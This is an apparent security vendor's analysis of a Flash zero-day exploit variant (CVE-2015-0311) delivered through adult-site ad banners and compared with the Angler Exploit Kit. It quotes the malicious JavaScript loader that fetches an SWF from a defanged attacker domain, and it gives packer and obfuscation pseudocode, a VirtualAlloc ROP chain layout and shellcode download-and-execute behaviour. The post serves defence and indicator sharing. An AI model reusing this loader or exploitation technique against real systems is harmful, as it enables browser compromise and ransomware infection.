A Different Exploit Angle on Adobe's Recent Zero-Day

The Angler Exploit Kit (EK) recently incorporated a zero-day exploit (CVE-2015-0311) as discussed on Jan. 21 by Kafeine (http://malware.dontneedcoffee.com/2015/01/unpatched-vulnerability-0day-in-flash.html). On Jan. 24, FireEye encountered a variant of this exploit packaged in a completely different way. The following is a technical discussion of this sample and its contrast to that provided by the Angler EK.

Mitigation

Adobe has released a patch addressing CVE-2015-0311. Applying this security patch will prevent this and any other samples relying on CVE-2015-0311 from successfully exploiting victim machines.

New Variant HTML/Javascript Attack Vector

The exploit is being served through advertising banners on adult websites, including one Alexa top 1000 site. The Flash exploit is loaded by plain Javascript generated from php that appears to be devoid of any environmental checks or obfuscations that are typically indicative of the Angler EK:

<script type="text/javascript" src="http://neteasymarketing[.]biz/tracking.php"></script>
----
document.write('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1"><param name="movie" value="http://neteasymarketing[.]biz/banner/fcf5e938398090608dbdd0ac8c382207.swf" /><!--[if !IE]>--><object type="application/x-shockwave-flash" data="http://neteasymarketing[.]biz/banner/fcf5e938398090608dbdd0ac8c382207.swf" width="1" height="1"></object><!--<![endif]--></object>');

Angler EK’s HTML/Javascript Attack Vector

This HTML and Javascript that load the new sample look significantly different from the Angler EK. In contrast, the Angler EK:

  • Uses obfuscated Javascript
  • Version checks from JS to serve an effective exploit
  • Attempts to detect VMs and AV products
  • Passes flashvars to their CVE-2015-0311 exploit

Angler EK Flash Obfuscation

The ActionScript is packed differently, and incorporates three CVEs instead of one in Angler. However, there are similarities in the obfuscation and the CVE-2015-0311 exploit itself.

The recent Angler EK exploits have all been packed in ActionScript (AS) as single giant string variables that are then decrypted with RC4 and loaded as in the following pseudocode:

this.encoded_ct = " m3mosqWzs+O…” // Giant ~46kb string
this.key = " rF4gR7geU7d6t5LJfr8sb";
Loader.LoadBytes(RC4(decode(this.encoded_ct),this.key))

Angler uses this packer (for clarity, further referenced as ANGLER_PACK) with at least its last two Flash exploits. Angler mutates its exploits by changing the key and consequently the encoded_ct in ANGLER_PACK. ANGLER_PACK mangles the names of objects to randomly generated ascii strings, and uses a few string.replace tricks that read as manual modifications to the AS, but it is otherwise fairly small and straightforward.

Once unpacked, the exploits appear to be obfuscated with a different tool (further referenced as UNKN_OBF). UNKN_OBF replaces object names with strings of one of three types:

1.     Big decimal number (e.g., “52142311423127123423632234”)
2.     Mostly symbols (e.g., “_a_-_---“)
3.     Reserved AS keywords (e.g., “var for”, “continue const”)

UNKN_OBF encrypts strings with RC4. It exposes an RC4 class, and a class that is responsible for decrypting the strings and their access. The latter class uses three binary data objects in the Flash file: an access key; string key[s]; and encrypted strings.

The access key is just four bytes that are read into an integer in AS:
access_key = access_key_BinaryData.readInt()

Whenever the rest of the AS requests a decrypted string, it provides an index into the decrypted strings table that is xored with this key. The encrypted string class then xors the index with the key and retrieves the decrypted string:

public static function GetDecryptedString(_arg_1:int):String {
    if (!strings_already_decrypted) {
          DecryptStrings()
    };
    return (DecryptedStrings_Array[(_arg_1 ^ access_key)])
}

The BinaryData object that contains the string keys starts with one byte indicating the number of keys that follow. Each key is 0x10 bytes:

num_keys = string_keys_BinaryData.readByte()
while(itr++ < num_keys) {
    string_keys.push(/* 0x10 bytes from string_keys_BinaryData */)
}

The BinaryData object containing the encrypted strings begins with the number of following strings as a four-byte integer. Each string begins with another four-byte integer detailing its size, and then the string itself:

num_strs = encrypted_strings_BinaryData.readInt()
while (itr < num_strs) {
    rc4_dec = RC4Decryptor(string_keys[itr%string_keys.length()])
    str_len = encrypted_strings_BinaryData.readInt()
    DecryptedStrings_Array.push(rc4_dec.decrypt(/* str_len bytes from encrypted_strings_BinaryData*/))
}

The Angler sample encrypts the following strings: iso-8859-1, ABCDEFGHIJKLMNOPQRSTUVWXYZ…, abcdefghijklmnopqrs…, length, 0123456789abcdef, hrserYGb45wgttybehyuuhergt, substring, activex, “win “ (space after), plugin, writeUTFBytes, position, tmbnloqdrr, exec, 0123456789ABCDEF

New Variant Flash Obfuscation

The new sample does not use ANGLER_PACK. However, it does use UNKN_OBF. The RC4 encrypted strings are:

application, allowLoadBytesCodeExecution, iso-8859-1, WOW64, activex, remote, allowCodeImport, plugin, “win “, windows 8.1, rthn65334d329yj, sandboxType, exec, windows 8, window.navigator.userAgent…, Bytes

Layer 1 of the sample attempts to evade detection by packing the malicious information into BMP files and using it to extract another SWF to execute.  To do this, layer 1 contains a class that I will refer to as the Bitmap Handler, which provided a set of routines that worked to decrypt the bitmap files.  This layer also made various calls to the string container to access “strings.load.” The main routine of layer 1 contains three event handlers that execute in sequence.  It does this because each event handler uses the LoadBytes() command to read data into a new Loader, which is an asynchronous call.  Each consecutive listener is then set to trigger on the Event.COMPLETE signal, which is sent on the completion of LoadBytes().  

The first bitmap contains a key to unpack the other bitmaps. The second bitmap contains a layer 2 SWF that is stored in a Loader by LoadBytes. The third bitmap contains the “payloadUrl” referenced in layer 2.

Layer 2 is obfuscated with the same UNKN_OBF, and shares the same encrypted strings as the first layer. Layer 2 pulls information about its environment, such as the Windows version, x86 vs x86-64, activex, browser flavor, and the flash version, which it uses to determine which exploit to attempt.

Three SWF exploits are embedded within layer 2 as BinaryData objects. They are Flate compressed and encrypted, and are launched using Loader.LoadBytes dynamically.

The CVE-2015-0311 exploit packaged within layer 2 is almost identical to the Angler EK sample. However, it mangles the names of objects using the same techniques, but with different names (e.g., “set const” versus “use var”). This suggests the Angler EK sample of CVE-2015-0311 and this sample resulted from separate runs of UNKN_OBS. The other two exploit SWFs are from older CVEs (CVE-2014-8439 and CVE-2015-0310).

Return-Oriented Programming (ROP)

The CVE-2015-0311 exploit SWF dynamically generates a ROP chain from AS using gadgets from the Flash DLL. The AS searches Flash for a given sequence of bytes (that is, the machine code constituting each gadget), and writes the address of the first occurrence of the sequence (gadget) to the ROP chain. The AS also looks up and stores the address of KERNEL32!VirtualAlloc, and the address of the ROP chain (ROP_BASE).

The ROP chain calls KERNEL32!VirtualAlloc with the address of ROP_BASE to mark the shellcode as RWX. VirtualAlloc then returns into the newly executable shellcode (SHELLCODE).

(Order of execution in {})
ROP_BASE:00: {1} add     esp,8; ret
04: {-1} mov eax, [ecx]; push ecx; call [eax+8] (calls pivot)
08: {0} xchg eax, esp; ret (pivot)
0c: {2} xchg    eax,esi; ret
10: {3} xchg    eax,ecx; ret
14: {4} xchg    eax,edi; ret
18: {5} KERNEL32!VirtualAlloc(ROP_BASE,0x2000,0x1000,RWX)
1c: {6} SHELLCODE (transitions from ROP to shellcode)
20: ROP_BASE (arg0 of VirtualAlloc)
24: 0x2000 (arg4)
28: 0x1000 (arg8)
2c: 0x40 (RWX, argc)
SHELLCODE:
30: (shellcode here)

Shellcode (SC)

The shellcode utilized in this instance of the exploit kit is fairly straightforward, containing very little in the way of obfuscation, evasion, or anti-analysis techniques. Using the WinHttp library, it downloads an object from “hxxp://xmoqu38hasdf0opw[.]com/asdfsfsdf.php,” then decrypts it using the XTEA cipher. It checks for a configured proxy using the WinHttp library and honors it if found. The object is expected to be an executable, dll, or shellcode. If it is shellcode, it is executed directly in its thread. If it is a dll, it is loaded with "regsvr32 /s" using the WinExec function. Otherwise, the executable is run with WinExec directly. If the object is an executable or a dll, it is saved to %TEMP%\tqPx.dll. In this instance, the downloaded object is a dll.

Payload

The payload downloaded during our testing (located at hXXp://xmoqu38hasdf0opw[.]com/asdfsfsdf.php) is a packed dll with an MD5 hash of 6769a5b4526f3b2b7c6bebbe464f5f6b. It appears to be a variant of the Reveton ransomware family of malware, most closely related to the one described in this blog post by Avast: https://blog.avast.com/2014/08/19/reveton-ransomware-has-dangerously-evolved/.

Dropped files:

%USERPROFILE%\Start Menu\Programs\Startup\<alphanumeric string>.lnk

%APPDATA%\<alphanumeric string>.cpp

Registry value written:

HKCU\Software\Microsoft\Windows\CurrentVersion\ACID

Indicators of Compromise associated with this activity are available at: https://github.com/fireeye/iocs/tree/master/BlogPosts.

Thank You!

FireEye would like to thank Kafeine for his coverage of Angler (http://malware.dontneedcoffee.com/) and his sharing within the AV community, which not only helped the industry respond to CVE-2015-0311, but also helped us uncover this variant. Judging by the screenshot on Kafeine’s Twitter status (https://twitter.com/kafeine/status/558946590011166720), he found a similar sample on the same date.